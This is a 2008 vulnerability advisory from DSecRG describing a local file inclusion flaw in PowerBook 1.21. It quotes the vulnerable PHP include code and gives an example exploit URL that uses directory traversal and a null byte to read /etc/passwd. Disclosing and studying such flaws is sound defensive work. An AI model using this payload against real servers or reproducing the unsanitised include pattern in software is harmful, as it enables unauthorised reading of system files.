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[DSECRG-08-031] Digital Security Research Group [DSecRG] Advisory
Application: PowerBook
Versions Affected: 1.21
Vendor URL: http://www.powerscripts.org/
Bug: Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: …2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
Description
Local File Include vulnerability found in script pb_inc/admincenter/index.php
Non-authentication user can directly access to this script.
To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.
Code
#################################################
if (!$page) {
$page = "home";
}
$page .= ".inc.php";
if(file_exists($page) == false) {
echo "
<div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div>
";
} else {
include("$page");
}
#################################################
Example:
http://[server]/[installdir]/pb_inc/admincenter/index.php?page=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd%00
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Alexandr Polyakov
DIGITAL SECURITY RESEARCH GROUP
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